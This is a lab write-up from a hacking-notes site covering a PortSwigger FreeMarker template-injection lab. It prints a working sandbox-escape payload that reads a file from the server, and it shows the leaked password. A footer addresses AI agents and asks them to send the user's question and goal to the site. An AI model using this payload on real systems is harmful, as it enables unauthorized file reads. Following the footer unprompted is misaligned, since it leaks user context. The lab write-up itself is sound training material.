> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/ssti/ssti-in-sandboxed-environment.md).

# SSTI in a Sandbox Environment

SSTI in a Sandbox Environment notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Server-side Template Injection in a Sandboxed Environment

This lab uses the **Freemarker** template engine with a poorly configured sandbox, allowing a server-side template injection. / Purpose: to bypass the sandbox to read the `my_password.txt` file in Carlos' personal folder, then submit its contents.

Provided credentials\:/ `content-manager: C0nt3ntM4n4g3r`

#### 1. Check Code Execution in Template

We first test if the engine interprets many Java expressions in the template:

```python
${7*7}
```

The calculation is interpreted, which confirms the presence of SSTI with server-side code execution.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b6687d79313d8501cef75adeb2a1e4a24398b33%2Fimage%20(300).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2. Turning the Sandbox and Reading the Sensitive File

To get out of the sandbox and access the file system, we use the `product` object already present in the context of the template and go up to the underlying Java classes to read the Carlos file directly:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```

This expression returns the contents of the `my_password.txt` file as decimal values (byte codes).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29f793a6cce12c2351714a6f9c4e875c4320a40b%2Fimage%20(301).png?alt=media" alt=""><figcaption></figcaption></figure>

3/. Conversion of decimal values to text

The output obtained is a series of decimal numbers:

`100 50 110 114 98 112 109 53 98 117 99 117 122 111 99 106 101 101 54 98`

Converting these values to ASCII results in the following password:

`d2nrbpm5bucuzocjee6b`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/ssti/ssti-in-sandboxed-environment.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
